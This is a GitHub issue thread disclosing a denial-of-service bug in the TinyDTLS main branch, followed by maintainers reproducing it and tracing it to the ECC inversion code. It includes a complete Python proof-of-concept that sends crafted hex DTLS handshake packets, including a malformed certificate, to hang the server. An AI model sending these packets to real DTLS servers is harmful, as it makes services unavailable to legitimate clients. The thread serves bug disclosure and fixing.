Server DoS vulnerability via malformed handshake sequence

[5angjun]

Bug Information

• Type: Denial of Service
• Priority: Critical
• The bug affects the main branch

Description

A Denial of Service (DoS) vulnerability has been identified in TinyDTLS. By sending a crafted handshake sequence, an attacker can cause the server to cease responding to valid requests. Although the server does not crash, the service becomes unavailable, potentially disrupting legitimate client connections.

Steps to Reproduce

1. git clone https://github.com/5angjun/tinydtls-fuzz.git
   • ./autogen.sh && ./configure && make -j$(nproc) && cd tests && ./dtls-server
2. python3 ./ex.py
   • This step can make server to stop for servicing
3. cd tests && ./dtls-client localhost
   • Server can't make a connection with other requests

Client_Hello = bytes.fromhex(
    "16 fe ff 00 00 00 00 00 00 00 01 00 76 01 00 00"
    "6a 00 01 00 00 00 00 00 6a fe fd 01 01 01 01 01"
    "01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01"
    "01 01 01 01 01 01 01 01 01 01 01 00 10 01 01 01"
    "01 01 01 01 01 01 01 01 01 01 01 01 01 00 0a c0"
    "ae c0 ac c0 a8 c0 a4 00 ff 01 00 00 26 00 13 00"
    "02 01 02 00 14 00 02 01 02 00 0a 00 04 00 02 00"
    "17 00 0b 00 02 01 00 00 0d 00 04 00 02 04 03 00"
    "17 00 00"
)

malformed_Ceriticate = bytes.fromhex(
   "16 fe fd 00 00 00 00 00 00 00 02 00 6a 0b 00 00"
   "5e 00 02 00 00 00 00 00 5e 00 00 5b 30 59 30 13"
   "06 07 2a 86 48 ce 3d 02 01 06 08 2a 86 48 ce 3d"
   "03 01 07 03 42 00 04 36 df e2 c6 f9 f2 ed 29 da"
   "0a 9a 8f 62 68 4e 91 63 75 ba 10 00 00 00 00 00"
   "00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
   "00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
   "00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
   "00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
   "00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
   "00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
   "00 00 00 00 14 00 00 00 00 00 00 00 00 00 00 00"
   "00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
   "00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
   "00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
   "00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
   "00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
   "00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
   "00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
   "00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
   "00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
   "00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
   "00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
   "00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
   "00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
   "00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
   "00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
   "00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
   "00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
   "00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
   "00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
   "00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
   "00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
   "00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
   "00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
   "00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
   "00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
   "00 00 23 00 00 00 00 00 00 00 00 00 00 00 00 01"
   "00 14 00 01 00 00 00 00 00 01 f8 4a d9 6e dd a8"
   "9f 46 76 c6 81 0b"
)

ClientKE=bytes.fromhex(
   "16 fe fd 00 00 00 00 00 00 00 03 00 4e 10 00 00"
   "42 00 03 00 00 00 00 00 42 41 04 6f f0 3b 94 92"
   "41 ce 1d ad d4 35 19 e6 96 0e 0a 85 b4 1a 69 a0"
   "5c 32 81 03 aa 2b ce 15 94 ca 16 3c 4f 75 3a 55"
   "bf 01 dc 53 f6 c0 b0 c7 ee e7 8b 40 c6 ff 7d 25"
   "a9 6e 22 82 b9 89 ce f7 1c 14 4a"
)
Certificate_Verify = bytes.fromhex(
   "16 fe fd 00 00 00 00 00 00 00 04 00 57 0f 00 00"
   "4b 00 04 00 00 00 00 00 4b 04 03 00 47 30 45 02"
   "20 6f f0 3b 94 92 41 ce 1d ad d4 35 19 e6 96 0e"
   "0a 85 b4 1a 69 a0 5c 32 81 03 aa 2b ce 15 94 ca"
   "16 02 21 00 92 cc ee 7f 73 81 29 45 09 71 1e a1"
   "0d c5 09 7e 63 1a 62 03 90 cb bb 33 38 b1 85 99"
   "cb 3e af 31"
)

import socket


def hexdump(data):
    lines = []
    for i in range(0, len(data), 16):
        chunk = data[i:i + 16]
        hex_chunk = ' '.join(f"{b:02x}" for b in chunk)
        ascii_chunk = ''.join(chr(b) if 32 <= b <= 126 else '.' for b in chunk)
        lines.append(f"{i:08x}: {hex_chunk:<48} {ascii_chunk}")
    return '\n'.join(lines)


sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

server_address = ("127.0.0.1", 20220)


def send_to_server(data, server_address):
    sock.sendto(data, server_address)
    print("Waiting for a response...")
    response, addr = sock.recvfrom(4096)
    print(f"Received response from {addr}: {response.hex()}")
    print(hexdump(response))


Handshake_Sequence = [Client_Hello,malformed_Ceriticate,ClientKE,Certificate_Verify]
try:
    for data in Handshake_Sequence:
        send_to_server(data, server_address)
    #psend_client_hello_with_invalid_cookie(data, server_address)

except socket.timeout:
    print("No response received (timeout).")
finally:
    sock.close()

Server Response Log

• Due to the malformed Certificate, Server cannot response for Other requests(packet number 751, Client Hello)
  

[boaks]

I appreciate your efforts in fuzzy testing with tinydtls.

But, please, not pictures, they are useless! Please provide ip-captures!

[5angjun]

This pcap file is provided for reference and understanding the issue.

Please review the attached pcap file for further details.

poc.zip

[boaks]

with eclipse/tinydtls I get:

python3 ex.py

Waiting for a response...
Received response from ('127.0.0.1', 20220): 16feff0000000000000001001f030000130001000000000013fefd10e391846299c0b40588712882c9f596d9
00000000: 16 fe ff 00 00 00 00 00 00 00 01 00 1f 03 00 00 ................
00000010: 13 00 01 00 00 00 00 00 13 fe fd 10 e3 91 84 62 ...............b
00000020: 99 c0 b4 05 88 71 28 82 c9 f5 96 d9 .....q(.....
Waiting for a response...

It seems to stick at the HVR.

[5angjun]

In my ex.py, both the cookie and random values were fixed to 01.
Therefore, on your DTLS server, the cookie value might not match, and the malformed packet may not be processed correctly.

Did you clone using git clone https://github.com/5angjun/tinydtls-fuzz.git?
Or can you show your packet capture?

[boaks]

I didn't clone your fork. It's not that common to modify something, and the report some errors.
Even if I agree, that in this case the modification is not related to the defect.

For that test, I cherry-picked that commit onto my

repo: https://github.com/boaks/tinydtls
branch: "zephyr_cid_develop"

invalid_cert.pcapng.gz

There the bug is gone. I guess, it's fixed by one of the pending PRs. I will check that next week.

[boaks]

By the way: your capture shows port 20000 instead of 20220.

[5angjun]

I also don’t prefer modifying something and reporting on it, as it could compromise the integrity of the original program.
In this case, it was done for the convenience of writing the PoC code. I hope you understand.

By the way, the port mentioned above might be slightly different. However, only the port is different; the exchanged packets remain the same. The main issue and the packet content are identical.

Thank you.

[obgm]

Thank you, I was able to reproduce this issue as well.

[boaks]

It seems to be caused by the ECC implementation of the current main branch.
It stucks in ecc.c, fieldInv.
Maybe caused by a missing precheck or something else.

Switching to µECC (see PR #228 and #229) seems to fix it.